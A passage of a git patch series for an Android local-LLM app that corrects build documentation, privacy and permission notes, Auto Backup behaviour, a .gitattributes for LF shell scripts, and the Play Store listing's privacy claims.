engines from the API with a key instead. The procedure and its grep are unchanged. Docs only. Checked against seed.ts (the three log lines and when each is written), the backup rules (config.json is backed up), Android's Auto Backup page (restore on every install, adb install included) and AOSP frameworks/base: UserBackupManagerService.restoreAtInstall skips the restore when auto-restore is off, and auto-restore is read from Settings.Secure backup_auto_restore, on when unset; bmgr autorestore sets it, and the shell user holds the BACKUP permission it needs; and PerformUnifiedRestoreTask and TarBackupReader.chooseRestorePolicy restore a backup only when its signatures match the installed APK's. --- BUILDING-ENGINES.md | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 7d15550..6d755c1 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -143,10 +143,21 @@ line per engine to `files/daemon.log`. Only that launch registers them: later bo `android: refreshed bundled engine …` or `android: repaired stale engine path …` for an engine whose path or version changed and nothing for the others, and `daemon.log` is truncated each time Node starts. So on a phone that already had the app, an empty grep does not mean the -engines are missing. To query the API itself, create a key in the app (Customize → Connect → -API keys) and send it as `X-TurboLLM-Auth: `. Only a debug build lets an adb host skip the -key: its WebView accepts Chrome DevTools over adb, and script run there acts as the app. Release -builds turn WebView debugging off. +engines are missing. Uninstalling first does not always make the next launch a first one +either: Android restores an app's Auto Backup whenever it is installed, `adb install` included, +if the backup was made by an APK signed with the same key (for the debug APK above, one of your +own earlier debug builds). On such a phone the restored `.turbollm/config.json` already lists +the engines, at the old install's library path. That launch then logs the `refreshed …` or +`repaired …` line for an engine whose path or version changed and nothing for the others, and +the grep above finds nothing. To keep the check a first registration, turn install-time restore +off around it: note what `adb shell settings get secure backup_auto_restore` prints (`1`, or +`null` if it was never changed, means on), run `adb shell bmgr autorestore false` before +`adb install`, and once done run `adb shell bmgr autorestore true` only if it was on, since it +is the phone's own Automatic restore setting. Or read the engines from the API. To query the +API itself, create a key in the app (Customize → Connect → API keys) and send it as +`X-TurboLLM-Auth: `. Only a debug build lets an adb host skip the key: its WebView accepts +Chrome DevTools over adb, and script run there acts as the app. Release builds turn WebView +debugging off. --- From d5b676bb7c0bc0c7357dfe50b2047cd2a7a02136 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 11:54:48 +0000 Subject: [PATCH 38/80] docs: name the staged daemon/package.json and its version field MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit BUILDING-ENGINES.md's table of load-bearing Android build settings lists `dist/package.json` = {"type":"module"}. stage-daemon-assets.mjs writes it one level up, as daemon/package.json (assets/daemon/, then files/daemon/ on the phone), next to dist/ rather than in it, and with the version too: {"type":"module","version":…}. Someone checking an APK or a phone for the file at dist/package.json finds none and could take the payload for broken, and the row did not say the daemon reads its version there. Older bug for the path: origin/main has the same row. Gap in this PR for the version: fix(android): stage the daemon's real version (a99c35f) added the version field and left the row as it was. BUILDING-ENGINES.md: the row names daemon/package.json with both fields and says that the daemon reads its version from the version field and reports 0.1.1 when that field is missing (without the file the daemon does not start at all, as the row already said). The table's intro, which called all four rows settings of tsup.android.config.ts, now says the first three are set there and the last is written by stage-daemon-assets.mjs. Docs only. Checked against stage-daemon-assets.mjs (the assets/daemon layout and the package.json it writes) and cli.ts, which reads the version field of /../package.json and falls back to 0.1.1 when it is missing. --- BUILDING-ENGINES.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 6d755c1..ec68197 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -87,14 +87,15 @@ about 220 MB of which is `@earendil-works/pi-*` plus its `@mistralai`/`@google`/ `turbollm/tsup.android.config.ts` is a **separate build pass** that bundles the dependencies in. Total payload: **14.5 MB**. -Four things in that config are load-bearing, each one a crash that was hit and fixed: +Four things in that build are load-bearing, each one a crash that was hit and fixed. The first +three are set in that config; the last is written by `stage-daemon-assets.mjs`: | Setting | Without it | |---|---| | `target: 'node18'` | nodejs-mobile embeds Node **18.20.4**, not the 22 the desktop package targets — syntax the phone cannot parse | | `banner` defines `require` | bundled CommonJS keeps esbuild's `__require` shim, which throws: `Dynamic require of "assert" is not supported` (undici) | | `banner` defines `__dirname` | `ReferenceError: __dirname is not defined in ES module scope` — sql.js locates its own `.wasm` that way | -| `dist/package.json` = `{"type":"module"}` | Node decides ESM by walking up for the nearest `package.json`; without one above the extracted bundle it reads the ESM entrypoint as CommonJS and dies on `import` | +| `daemon/package.json` = `{"type":"module","version":…}` | Node decides ESM by walking up for the nearest `package.json`; without one above the extracted bundle it reads the ESM entrypoint as CommonJS and dies on `import`. The daemon also reads its version from the file's `version` field (`dist/../package.json`) and reports 0.1.1 when that field is missing | Two files cannot be bundled and are staged beside the bundle instead: From 1581ad8af0402fd6fae588fe64809f5591591f6c Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 11:56:26 +0000 Subject: [PATCH 39/80] docs: privacy notes list the app's real permissions and engine source play-store-assets/privacy-notes.md, the input for Play's Data safety form and the privacy policy, said the app requests no notification or storage permission and runs no foreground service ("the daemon just runs on a background thread inside the activity"), and that the daemon downloads its inference engine the first time it is needed. The manifest declares FOREGROUND_SERVICE, FOREGROUND_SERVICE_SPECIAL_USE, POST_NOTIFICATIONS, WAKE_LOCK and, up to Android 10, READ_ and WRITE_EXTERNAL_STORAGE, EngineService runs from app open until Quit, and the engines ship inside the APK. Someone filling in the form or the policy from the notes would describe a different app, and the note on REQUEST_IGNORE_BATTERY_OPTIMIZATIONS described a use no code has. Older bug, not from this PR: origin/main has the same manifest and the same notes. privacy-notes.md: - The engine download item says a normal install downloads none: the CPU llama-server, the LiteRT-LM server (unless a build turns it off) and, in builds made with it, the Vulkan one ship in the APK and are registered at every boot. The app offers no way to install another (its Engines page lists only the built-in engines), so the daemon downloads one (its Android llama-server build, from Hugging Face) only once at boot, not started by the user, if no engine in the APK could be registered, or when a client calls its engine-install API directly. The list's heading says "except where noted" for the boot case. - The permissions item lists each declared permission and why: the specialUse foreground service and how long it runs (pointing at PLAY-FGS-DECLARATION.md), its notification (on Android 13+ asked for at each start of the app while not granted; Android stops showing the prompt after two refusals), the wake lock and when it is held, and the storage permissions for a shared-storage model folder on Android 10 and older (asked for only when one is set; none on Android 11+, where the app can read only the files it created in shared storage). It says REQUEST_IGNORE_BATTERY_OPTIMIZATIONS is declared but unused, and that Play allows it only when Doze breaks the app's core function, so it is removed or justified before submitting. No location, camera, microphone, contacts or All files access, and the old FOREGROUND_SERVICE_DATA_SYNC is gone. MainActivity.kt: two KDocs stated the same facts wrongly. requestNotificationPermission's said the permission is asked once; it now says it is asked each time the activity is created while not granted, and that Android stops showing the prompt after two refusals. extractDaemonFromAssets's said the app declares no storage permission; it now says the app holds none to read the files with unless, on Android 10 or older, the user allowed one for a model folder in shared storage. Docs and comments only; no permission changes. Checked against AndroidManifest.xml, EngineService.kt (start in MainActivity.onCreate, stop on Quit or, with notifications off, once idle; wake lock only while busy), MainActivity (onCreate requests POST_NOTIFICATIONS on API 33+ whenever it is not granted, with nothing kept to stop asking), Android's runtime permissions page (after a second denial the dialog is no longer shown), StorageAccess.kt (storage permissions asked below API 30 only, for a configured shared folder), AOSP MediaProvider (without a storage permission an app targeting Android 11+ reads only its own files in shared storage), a grep of the Kotlin sources (nothing sends ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS), composeApp/build.gradle.kts (LiteRT-LM packaged by default, Vulkan behind its flag), and in TurboLLM#287 the daemon's engines/seed.ts, catalog.ts and download.ts (bundled engines registered at boot; the first-run download only when no engine is registered; Android builds fetched from Hugging Face), api/routes.ts (POST /engines/backends/install still downloads that build when called) and web/src/screens/EnginesScreen.tsx (with the app's bundledEnginesOnly flag it shows only the built-in engines, with no install control). --- .../kotlin/com/turbollm/app/MainActivity.kt | 19 ++++---- play-store-assets/privacy-notes.md | 47 ++++++++++++++----- 2 files changed, 47 insertions(+), 19 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt index 0e1dc86..39973d6 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt @@ -162,8 +162,9 @@ class MainActivity : ComponentActivity() { return mapOf("TURBOLLM_ANDROID_SOC" to name) } - /** The engine notification carries the Quit action and the "phone is hot" warning. Asked once; Android stops - * prompting on its own after the user declines, and the service runs either way. */ + /** The engine notification carries the Quit action and the "phone is hot" warning. Asked each time the activity + * is created while it is not granted, with nothing kept to stop asking; Android stops showing the prompt on its + * own once the user has declined it twice. The service runs either way. */ private fun requestNotificationPermission() { if (Build.VERSION.SDK_INT < 33) return if (checkSelfPermission(Manifest.permission.POST_NOTIFICATIONS) == PackageManager.PERMISSION_GRANTED) return @@ -174,12 +175,14 @@ class MainActivity : ComponentActivity() { * install works with nothing ever pushed to the device. * * This replaces a `/sdcard` copy that was only ever a dev helper. That approach cannot work - * for a real user twice over: the app declares no storage permission, and nothing would have - * put the files there anyway. It also hid a second, larger problem — the daemon bundle the - * npm build produces leaves `dependencies` external (npm installs them on a desktop), so a - * genuinely fresh install died at boot with `Cannot find package '@hono/node-server'`. The - * payload staged into assets is therefore built by a separate Android pass with its - * dependencies bundled in (turbollm/tsup.android.config.ts + scripts/stage-daemon-assets.mjs). + * for a real user twice over: the app holds no storage permission to read it with unless, on + * Android 10 or older, the user allowed one for a model folder in shared storage (none on 11+), + * and nothing would have put the files there anyway. It also hid a second, larger problem — + * the daemon bundle the npm build produces leaves `dependencies` external (npm installs them + * on a desktop), so a genuinely fresh install died at boot with `Cannot find package + * '@hono/node-server'`. The payload staged into assets is therefore built by a separate + * Android pass with its dependencies bundled in (turbollm/tsup.android.config.ts + + * scripts/stage-daemon-assets.mjs). * * Re-extracted whenever the APK changes, keyed on `lastUpdateTime`: an app update ships a new * daemon, and a stale copy in filesDir would silently win over it. Everything else in diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index fb6fd0d..3c27878 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -48,23 +48,48 @@ CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnosti 1. **Native app code (Kotlin) only ever talks to `127.0.0.1`** — `DaemonClient.kt` and `DaemonWebView.kt` both hit `http://127.0.0.1:7000` (the embedded daemon), nothing external. 2. **The embedded daemon (the same `turbollm` product code that runs on desktop) makes the same - categories of outbound request desktop does, all user-initiated:** + categories of outbound request desktop does, all user-initiated except where noted:** - Downloading a model you chose, from Hugging Face. - - Downloading the inference engine binary the first time it's needed (an NDK-cross-compiled - `llama-server`, hosted on TurboLLM's own GitHub/Hugging Face releases — ADR-391). + - Downloading an inference engine, which a normal install never does: the engines ship inside + the APK (the CPU `llama-server`, the LiteRT-LM server unless a build turns it off, and the + Vulkan `llama-server` in builds made with it) and are registered from there at every boot + (`engines/seed.ts`). The app has no way to install another: Android lets it run only code + installed with it, so its Engines page lists the built-in engines with no install control. + The daemon downloads one (TurboLLM's own Android build of `llama-server`, from Hugging Face) + in two cases only: once at boot, not started by you, if no engine in the APK could be + registered at all, and when a client calls its engine-install API directly, which nothing in + the app does. - Any in-chat tool call you explicitly approve (e.g. `web_search`), same approval-gated flow as desktop. - **Not present on this build:** the periodic telemetry upload — disabled per above. 3. **`AndroidManifest.xml` permissions**, and why each exists: - `INTERNET` — the above network use. - - `REQUEST_IGNORE_BATTERY_OPTIMIZATIONS` — lets the user optionally exempt TurboLLM from the OS - killing an in-progress local inference run. - - No location, camera, microphone, contacts, notification, or broad storage permission - requested. (`FOREGROUND_SERVICE`/`FOREGROUND_SERVICE_DATA_SYNC`/`POST_NOTIFICATIONS` were - declared in earlier builds for a foreground-service notification that was never actually - implemented — the daemon just runs on a background thread inside the activity — and were - removed after Play's automated review flagged the unused `FOREGROUND_SERVICE_DATA_SYNC` - grant.) + - `FOREGROUND_SERVICE` and `FOREGROUND_SERVICE_SPECIAL_USE` — `EngineService`, a foreground + service of type `specialUse` that keeps the daemon, the engines and a loaded model running + while the app is in the background. It starts when the app is opened and runs until Quit in + its notification (or, with notifications off, until the app is left with nothing generating, + importing or downloading). `PLAY-FGS-DECLARATION.md` has the text for Play's declaration. + - `POST_NOTIFICATIONS` — that service's ongoing notification, which carries the Quit action and + the "phone is hot" warning. On Android 13+ the app asks for it each time it starts until it is + granted; Android stops showing the prompt once the user has declined it twice. The service + runs either way. + - `WAKE_LOCK` — a partial wake lock, held only while a reply is generated or a model imported or + downloaded, so that work finishes with the screen off; never while idle. + - `READ_EXTERNAL_STORAGE` and `WRITE_EXTERNAL_STORAGE`, Android 10 and older only + (`maxSdkVersion="29"`, with `requestLegacyExternalStorage`) — for a model folder the user adds + in shared storage, such as `/sdcard/AI`: read to scan and load its models, write because the + daemon downloads into the primary model folder. Asked for, after a dialog, only when such a + folder is set (`StorageAccess.kt`). On Android 11+ the app requests no storage permission, so + in shared storage it can read only files it created itself; models are imported with the + system file picker, which needs none. + - `REQUEST_IGNORE_BATTERY_OPTIMIZATIONS` — declared since the first build, but nothing uses it: + no code asks for the exemption (`ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS`). Google Play + allows asking for it only when Doze breaks the app's core function, so remove it or justify + it before submitting. + - No location, camera, microphone or contacts permission, and no All files access + (`MANAGE_EXTERNAL_STORAGE`). `FOREGROUND_SERVICE_DATA_SYNC`, which an earlier build declared + for a foreground service it never implemented and Play's automated review flagged, is gone; + the foreground service now in the app is the `specialUse` one above. ## Where data lives From 5966cb02a3be36bb2aae6ce3d5fa8b1af3ecdb9a Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 11:57:05 +0000 Subject: [PATCH 40/80] docs: privacy notes say when Auto Backup runs while the service is up Two commits in this PR, fix(android): keep models, caches, logs and the daemon out of backups (242b9ae) and fix(android): keep the app's external files folder out of backups (6963970), say that with the models excluded the cloud backup "now goes ahead". The excludes keep a backup under the 25 MB quota, but they do not make one run. Android's scheduled full backup (UserBackupManagerService. beginFullBackup) passes over an app that ActivityManager counts as in the foreground, which a process running a foreground service is (process state FOREGROUND_SERVICE is below IMPORTANT_FOREGROUND), and tries it again 1 to 3 hours later. EngineService is such a service and runs from the moment the app is opened until Quit, so for someone who keeps the app open, which is what the service is for, TurboLLM's backup keeps being put off. privacy-notes.md said nothing about when a backup is taken, so the team deciding on the backed-up tokens, and the Data safety answers, would assume a nightly backup. Older bug for the scheduling: origin/main already runs EngineService, so Android puts its backups off the same way. What it backs up is not the same: its backups took the downloaded models, whether in files/.turbollm/models/ or in a model folder in the external files folder, so for anyone with a downloaded model they went over the quota and Android skipped them, which the two commits above fixed. The overstatement is in those two commits' messages, which this docs commit leaves as they are. privacy-notes.md, Backups: a paragraph on when the cloud backup runs: at most once a day, by default only while idle, charging and on an unmetered network (or mobile data if the user allowed it), and not while the app counts as in the foreground, a foreground service included. While EngineService runs, Android puts the backup off and retries 1 to 3 hours later, so one is taken on a night the app is not running (after Quit, a reboot, or Android ending the process). It says the excludes only keep a backup that runs under the quota, and why android:backupInForeground is not set (Android stops the app to back it up, unloading the model mid-reply). Docs only; what is backed up and when do not change. Checked against AOSP frameworks/base main: UserBackupManagerService.beginFullBackup (the isAppForeground check unless PRIVATE_FLAG_BACKUP_IN_FOREGROUND, BUSY_BACKOFF_MIN_MILLIS one hour plus up to two hours of fuzz), ActivityManagerService.isAppForeground (process state up to IMPORTANT_FOREGROUND), ProcessStateEnum, FullBackupJob and BackupManagerConstants (device idle, charging and an unmetered network by default, 24 h per app); Android's Auto Backup page and the backupInForeground attribute's description (an app with a service in the startForeground() state is not backed up by default); and EngineService.kt and MainActivity.kt for when the service runs. --- play-store-assets/privacy-notes.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index 3c27878..b4becc0 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -127,6 +127,18 @@ and Android would then skip the whole cloud backup, chats and `config.json` incl other excluded models, they can be copied or downloaded again. Android itself never backs up `cache/`, `code_cache/` or `no_backup/`. +When the cloud backup actually runs: Android's scheduled Auto Backup takes an app at most once a +day, and by default only while the phone is idle, charging and on Wi-Fi (any unmetered network, or +mobile data if the user allowed it). It also passes over an app that counts as in the foreground, +and an app running a foreground service does. `EngineService` is one, and it runs from the moment +the app is opened until Quit (with notifications off, until the app is left with nothing +generating, importing or downloading), so while it runs Android puts TurboLLM's backup off and +tries again 1 to 3 hours later. A phone that keeps the app open day and night can go a long time +without a new TurboLLM backup; one is taken on a night the app is not running, after Quit, a +reboot, or Android ending the process. Excluding the models only keeps a backup that does run +under the 25 MB quota. `android:backupInForeground="true"` would remove the wait, but Android +stops the app to back it up, which would unload the model and cut off a reply, so it is not set. + `config.json` also holds, in plaintext, every third-party credential the user has entered: the Hugging Face and GitHub tokens, the Cloudflare tunnel token, the ngrok authtoken, the Tavily/Kagi search keys, MCP server keys and env, and the raw Turbo Link peer tokens that grant access to the From 7ee05e66d809e2da3f1c88a6beee7b5f537cd351 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 11:58:07 +0000 Subject: [PATCH 41/80] docs: privacy notes say where model folders can be outside the app MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit play-store-assets/privacy-notes.md, "Where data lives", said the daemon's state, models included, "lands entirely inside Android's app-private storage — not shared storage, not readable by other apps". The same file's Backups section, as this PR left it, describes a model folder in the app's external files folder, and the manifest and StorageAccess.kt handle model folders in shared storage such as /sdcard/AI: on Android 10 and older the app asks for the storage permission to read one, and the daemon downloads into whichever model folder is primary (downloads.ts primaryDir). Models there are readable by other apps with storage access and over USB. A Data safety or privacy policy answer written from that sentence would say the models never leave private storage. Older bug, not from this PR: origin/main has the same sentence. privacy-notes.md: the paragraph keeps chats, config and downloaded engines in filesDir, and says the models are there too (imports in files/models/, downloads in the primary model folder) unless the user adds a model folder elsewhere. It then lists where one can be: - shared storage: read on Android 10 and older with the storage permission, downloaded into when primary, and readable by other apps with storage access and over USB. On Android 11+ the app cannot read the models the user or another app put there and the import is offered instead, but Android still lets an app create files under Download/ and Documents/, so downloads into a primary folder there can land in shared storage, readable over USB and by apps with All files access. - the app's external files folder: no permission, downloaded into when primary, reachable over USB, and on Android 10 and older by other apps with the storage permission. Chats and settings stay in filesDir either way. AndroidManifest.xml: the comment on the storage permissions said that on Android 11+ the app does not read shared storage at all, which the paragraph above contradicts. It now says the app holds no storage permission there, so in shared storage it reads only the files it created itself (downloads into a primary model folder under Download/ or Documents/), and that models the user or another app put there are imported with the system file picker. Docs and a manifest comment only. Checked against MainActivity.kt (HOME is filesDir), ModelImport.kt (imports into files/models/), StorageAccess.kt (what counts as shared storage, the Android 10 and older permission request, the Android 11+ import dialog), the manifest's storage permissions (maxSdkVersion 29) and the daemon's downloads.ts (primary model folder, else the first) and seed.ts (files/models/ always a model folder) in TurboLLM#287. The Android 11+ rule is from AOSP MediaProvider (insertFileIfNecessaryForFuse and ensureFileColumns: without a storage permission, an app targeting Android 11+ may create non-media files only under Download/ and Documents/ and reads back the files it owns); it is not checked on a device. The edited manifest parses as XML. --- .../src/androidMain/AndroidManifest.xml | 5 +++-- play-store-assets/privacy-notes.md | 20 +++++++++++++++++-- 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/composeApp/src/androidMain/AndroidManifest.xml b/composeApp/src/androidMain/AndroidManifest.xml index e1ea53d..7512870 100644 --- a/composeApp/src/androidMain/AndroidManifest.xml +++ b/composeApp/src/androidMain/AndroidManifest.xml @@ -10,8 +10,9 @@ + app holds none, so in shared storage it reads only the files it created itself (downloads into a primary + model folder under Download/ or Documents/); models the user or another app put there are imported with the + system file picker instead, which needs no permission (ModelImport.kt, StorageAccess.kt). --> diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index b4becc0..04944a0 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -94,8 +94,24 @@ CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnosti ## Where data lives `HOME` is set to the app's private `filesDir` (`MainActivity.kt`), so the daemon's usual -`~/.turbollm`-equivalent state (chats, config, downloaded models/engines) lands entirely inside -Android's app-private storage — not shared storage, not readable by other apps. +`~/.turbollm`-equivalent state (chats, config, downloaded engines) lands inside Android's +app-private storage, which other apps cannot read. So do the models, unless the user adds a model +folder somewhere else: imported ones go to `files/models/`, and downloads go to the primary model +folder, which is one of the app's own unless the user picks another. A model folder the user adds +can be: +- in shared storage, such as `/sdcard/AI`: the app reads it on Android 10 and older, with the + storage permission, and downloads into it when it is the primary model folder. Other apps with + storage access, and a computer over USB, can read the models there. On Android 11+ the app + cannot read the models the user or another app put there, and offers to import them instead + (`StorageAccess.kt`). Android still lets it create files under `Download/` and `Documents/`, + though, so if the primary model folder is in one of those, the daemon's downloads can land in + shared storage there: the app reads them back, and a computer over USB or an app with All files + access can read them too. +- in the app's external files folder, `Android/data/com.turbollm/files/`: no permission needed, + and downloaded into when it is the primary model folder. A computer over USB can read it, and + on Android 10 and older so can other apps with the storage permission. + +Chats and settings stay in `filesDir` either way. **Backups — one open decision for the dev team before shipping:** `AndroidManifest.xml` has `android:allowBackup="true"` with backup rules From 754b6c08183d507edf7ad7ee068a8d1c1f8a0de1 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 11:58:39 +0000 Subject: [PATCH 42/80] fix(build): shell scripts check out with LF on Windows too The repo had no .gitattributes, so Git for Windows' default checkout (core.autocrlf=true) wrote every text file with CRLF. The Vulkan engine build is run in WSL straight from that checkout (BUILDING-ENGINES.md and RELEASING.md: wsl ... bash "/mnt/d/llama-turbo/TurboLLM Android/scripts/build-static-engine.sh"), and bash stops at the first \r: build-static-engine.sh fails with "set: pipefail: invalid option name" before doing anything, and build-vulkan-engine.sh and stage-vulkan-engine.sh do not even parse. gradlew fails the same way for anyone running the wrapper from WSL, Linux or macOS against such a checkout. Older bug, not from this PR: origin/main has no .gitattributes either. - .gitattributes (new): *.sh and gradlew are text with eol=lf, so every checkout writes them with LF whatever core.autocrlf says. Nothing else changes: other text files still follow the user's setting. All four files are already LF in the repo, so nothing is renormalized. - stage-play-listing.mjs: its comment on CRLF said the repo has no .gitattributes; it now says the file pins only the shell scripts to LF, so the script's own CRLF handling for listing-copy.md stays needed. - BUILDING-ENGINES.md, next to the WSL build command: the attributes only act when Git writes a file, and the four files' contents do not change here, so a Windows checkout that already had them keeps its CRLF copies after a pull, with git status clean. It now gives the one-time step that writes them again, with Git for Windows in that checkout: git rm -q --cached -- "scripts/*.sh" gradlew, then git checkout HEAD -- "scripts/*.sh" gradlew. It discards uncommitted edits to those four files only. The paragraph after it now starts "The script is ..." so it still names what it describes. - RELEASING.md, next to its copy of the WSL build command: points to that step. Behaviour change: a new Windows checkout writes the shell scripts and gradlew with LF line endings. An existing one keeps its CRLF copies until they are written again once, with the step above. Tests: none added; there is no test harness for checkouts. Checked with a fresh checkout of each commit made with core.autocrlf=true on Linux, which converts as Git for Windows does. Before: all four files CRLF, DRY_RUN=1 bash scripts/build-static-engine.sh exits 2 with the pipefail error, bash -n fails on the other two scripts, and sh ./gradlew prints ": not found" for every line. After: the four files are LF while BUILDING-ENGINES.md and gradlew.bat are still CRLF, the dry run exits 0 (DRY_RUN_OK), both other scripts parse, and gradlew starts. git status stays clean with the attributes in place. Also checked an existing checkout: a core.autocrlf=true clone checked out before this commit and fast-forwarded past it still has all four files CRLF, git status empty, and the dry run fails with the pipefail error; git checkout -- and git add --renormalize . leave them CRLF. The two documented commands, run there, write the four files with LF and the dry run exits 0. In a clone with no local edits git status is clean again; in one with edits, a staged edit to RELEASING.md and an unstaged one to stage-play-listing.mjs are kept and an unstaged edit to build-vulkan-engine.sh is discarded, as the doc says. --- .gitattributes | 6 ++++++ BUILDING-ENGINES.md | 15 +++++++++++++-- RELEASING.md | 5 +++++ scripts/stage-play-listing.mjs | 5 +++-- 4 files changed, 27 insertions(+), 4 deletions(-) create mode 100644 .gitattributes diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..35e201f --- /dev/null +++ b/.gitattributes @@ -0,0 +1,6 @@ +# Files a Unix shell runs keep LF line endings on every checkout. Git for Windows checks text out +# with CRLF by default, and the WSL engine build runs scripts/*.sh straight from that checkout +# (BUILDING-ENGINES.md: bash "/mnt/d/.../scripts/build-static-engine.sh"), where bash stops at the +# first \r ("set: pipefail: invalid option name"). gradlew is the same for WSL, Linux and macOS. +*.sh text eol=lf +gradlew text eol=lf diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index ec68197..6be9609 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -449,8 +449,19 @@ wsl -d Ubuntu-24.04 -u root -- bash "/mnt/d/llama-turbo/TurboLLM Android/scripts DRY_RUN=1 bash scripts/build-static-engine.sh # resolved paths + the commands, builds nothing ``` -It is the WSL original plus the four things that original did not do, each of which exists -because of something that went wrong: +A Windows checkout that had the scripts before `.gitattributes` pinned them and `gradlew` to LF +still has the CRLF copies Git for Windows wrote by default (`core.autocrlf=true`), and bash stops +at the first `\r`: "set: pipefail: invalid option name". Pulling does not rewrite them, since +their contents did not change, and `git status` stays clean. Write them again once, with Git for +Windows in that checkout (this discards uncommitted edits to those four files, nothing else): + +```bash +git rm -q --cached -- "scripts/*.sh" gradlew +git checkout HEAD -- "scripts/*.sh" gradlew +``` + +The script is the WSL original plus the four things that original did not do, each of which +exists because of something that went wrong: - **Builds ONE static binary** — `-DBUILD_SHARED_LIBS=OFF` with `-DGGML_BACKEND_DL=OFF`, since the runtime backend loader is a shared-library mechanism and the two are incompatible. Same diff --git a/RELEASING.md b/RELEASING.md index 1f511dd..c9ac002 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -108,6 +108,11 @@ not change `minSdk`, which stays at 24 — only the Vulkan binary itself needs A wsl -d Ubuntu-24.04 -u root -- bash "/mnt/d/llama-turbo/TurboLLM Android/scripts/build-static-engine.sh" ``` +On a Windows checkout that had the scripts before `.gitattributes` pinned them to LF, this stops +at once with "set: pipefail: invalid option name" until they are written again; the one-time +commands for that are in +[BUILDING-ENGINES.md](BUILDING-ENGINES.md#the-build-script--scriptsbuild-static-enginesh). + That script verifies the result (AArch64, system-only `NEEDED`, embedded commit == `$SRC` HEAD, size, sha256) and installs it into `composeApp/src/androidMain/jniLibs/arm64-v8a/` itself. See [BUILDING-ENGINES.md](BUILDING-ENGINES.md#build-b--the-vulkan-gpu-engine). diff --git a/scripts/stage-play-listing.mjs b/scripts/stage-play-listing.mjs index acb216f..ede310e 100644 --- a/scripts/stage-play-listing.mjs +++ b/scripts/stage-play-listing.mjs @@ -28,8 +28,9 @@ if (!existsSync(listingCopyPath)) { console.error(`FATAL: missing ${listingCopyPath}`) process.exit(1) } -// LF only from here on: Git for Windows checks the file out with CRLF by default (no .gitattributes), which the -// fence regex below would not match, and the copy would reach Play with stray \r in it. +// LF only from here on: Git for Windows checks the file out with CRLF by default (.gitattributes pins only the +// shell scripts to LF), which the fence regex below would not match, and the copy would reach Play with stray \r +// in it. const md = readFileSync(listingCopyPath, 'utf8').replace(/\r\n/g, '\n') // Extracts the first fenced ``` block that follows a `## ` line matching `headingRe`. From 7fd354ee6e51f0aea5d3e1bb8808ee94e1f1717d Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sun, 18 Oct 2026 12:01:17 +0000 Subject: [PATCH 43/80] docs: Play listing says Android's backup can copy chats off the phone play-store-assets/listing-copy.md is the Play listing that stage-play-listing.mjs uploads. Its full description said "Chats and downloaded models live only in this app's private storage on your device", that prompts and files are never sent "to us or anyone else", and ended "with nothing leaving the device". The backup rules keep the chats and config.json in Android's Auto Backup to the user's Google account and in a device-to-device transfer, on purpose, and this PR's backup-quota fixes make that backup fit for people who have models, whose whole backup used to be skipped. Models can also sit in a folder the user picks outside the app's storage. The listing promised more than the app does. Older bug, not from this PR: origin/main has the same listing text; fix(android): keep models, caches, logs and the daemon out of backups (242b9ae) and fix(android): keep the app's external files folder out of backups (6963970) in this PR make the backup it leaves out happen for more users. listing-copy.md, full description: - The storage bullet says the chats stay in the app's private storage, and that Android's own backup to the user's Google account and its transfer to a new phone also copy them off it, if they use them, end-to-end encrypted with a screen lock on Android 9 and later; downloaded models stay in the app's storage unless the user picks another folder. It does not call those the only copies that leave, since a device or service the user connects the app to gets chats too. - The next bullet says prompts, files and model weights are never sent to us, and leave the phone only through that backup (which leaves models out), a tool call the user approves, or a device or service they connect the app to themselves, such as an MCP server, a Turbo Link peer, a LAN client or a tunnel. Its sentence on network requests is unchanged here. - "with nothing leaving the device" is dropped from the closing line. - The stated length is updated to 3,140 characters (it said 2,736; the text was 2,763 before this change). Docs only. Checked against both backup rule files, privacy-notes.md (what is backed up and the encryption) and StorageAccess.kt and the daemon's downloads.ts (model folders the user adds). stage-play-listing .mjs, run on a copy of this commit with placeholder images, parses the title (25), short description (77) and full description (3,140 of 4,000), also from a CRLF copy of the file. --- play-store-assets/listing-copy.md | 22 ++++++++++++++-------- 1 file changed, 